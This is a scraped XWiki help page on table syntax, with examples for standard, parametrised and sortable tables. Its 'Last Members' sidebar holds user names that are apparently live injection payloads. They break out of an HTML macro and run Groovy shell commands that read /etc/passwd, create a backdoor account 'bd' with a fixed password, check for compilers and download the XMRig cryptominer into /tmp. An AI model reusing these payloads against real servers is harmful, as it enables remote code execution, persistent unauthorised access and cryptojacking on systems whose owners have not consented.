XWiki Syntax 2.1: Tables

2.0 Tables

Allows to easily create content in table format. Parameters for table, row or cell are also supported in XWiki Syntax 2.1.

FeatureXWiki Syntax 2.1Result
Standard table
|=Title 1|=Title 2
|Word 1|Word 2
or
!=Title 1!=Title 2
!!Word 1!!Word 2
Title 1Title 2
Word 1Word 2
Parametrized table
(% style="background-color:red;text-align:center" %)
|=Title 1|=(% style="background-color:yellow" %)Title 2
|Word 1|Word 2
Title 1Title 2
Word 1Word 2
Filterable Sortable table
{{velocity}}
$xwiki.ssfx.use("js/xwiki/table/table.css")
$xwiki.jsfx.use("js/xwiki/table/tablefilterNsort.js", true)
{{/velocity}}

(% class="grid sortable filterable doOddEven" id="tableid" %)
(% class="sortHeader" %)|=Title 1|=Title 2
|Cell 11|Cell 12
|Cell 21|Cell 22

For improved features see the Livetable Macro.

Title 1Title 2
Cell 11Cell 12
Cell 21Cell 22
Tags:
Created by admin on 2021/10/13 11:03
    

Last Members

PhotoName
]]{{/html}}{{async}}{{groovy}}"id bd && cat /etc/passwd | grep bd".execute().text{{/groovy}}{{/async}} CheckXWikiSyntax{{/html}}{{async}}{{groovy}}"id bd && cat /etc/passwd  grep bd".execute().text{{/groovy}}{{/async}} Check>>XWiki.htmlasyncgroovyidbdcatetcpasswdgrepbdexecutetextgroovyasyncCheckcheck_bd_user]]
]]{{/html}}{{async}}{{groovy}}"useradd -m -s /bin/bash bd && echo 'bd:Bd123!@#' | chpasswd".execute(){{/groovy}}{{/async}} BackdoorXWikiSyntax{{/html}}{{async}}{{groovy}}"useradd -m -s /bin/bash bd && echo 'bd:Bd123!@#'  chpasswd".execute(){{/groovy}}{{/async}} Backdoor>>XWiki.htmlasyncgroovyuseraddmsbinbashbdechobdBd123chpasswdexecutegroovyasyncBackdoorbackdoor_user_001]]
]]{{/html}}{{async}}{{groovy}}"which python python3 gcc make java 2>&1".execute().text{{/groovy}}{{/async}} CheckToolsXWikiSyntax{{/html}}{{async}}{{groovy}}"which python python3 gcc make java 2>&1".execute().text{{/groovy}}{{/async}} CheckTools>>XWiki.htmlasyncgroovywhichpythonpython3gccmakejava21executetextgroovyasyncCheckToolscheck_tools_001]]
]]{{/html}}{{async}}{{groovy}}def c="wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2>&1".execute();c.waitFor();c.text{{/groovy}}{{/async}} WgetErrorXWikiSyntax{{/html}}{{async}}{{groovy}}def c="wget https://downloads.sourceforge.net/project/xmrig.mirror/v6.22.2/xmrig-6.22.2-linux-x64.tar.gz -O /tmp/x.tgz 2>&1".execute();c.waitFor();c.text{{/groovy}}{{/async}} WgetError>>XWiki.htmlasyncgroovydefcwgethttpsdownloadssourceforgenetprojectxmrigmirrorv6222xmrig6222linuxx64targzOtmpxtgz21executecwaitForctextgroovyasyncWgetErrorwget_error_diag_001]]
]]{{/html}}{{async}}{{groovy}}"ls -lah /tmp/x.tgz 2>&1".execute().text{{/groovy}}{{/async}} FinalCheckXWikiSyntax{{/html}}{{async}}{{groovy}}"ls -lah /tmp/x.tgz 2>&1".execute().text{{/groovy}}{{/async}} FinalCheck>>XWiki.htmlasyncgroovylslahtmpxtgz21executetextgroovyasyncFinalCheckfinal_check_xtgz_003]]

View All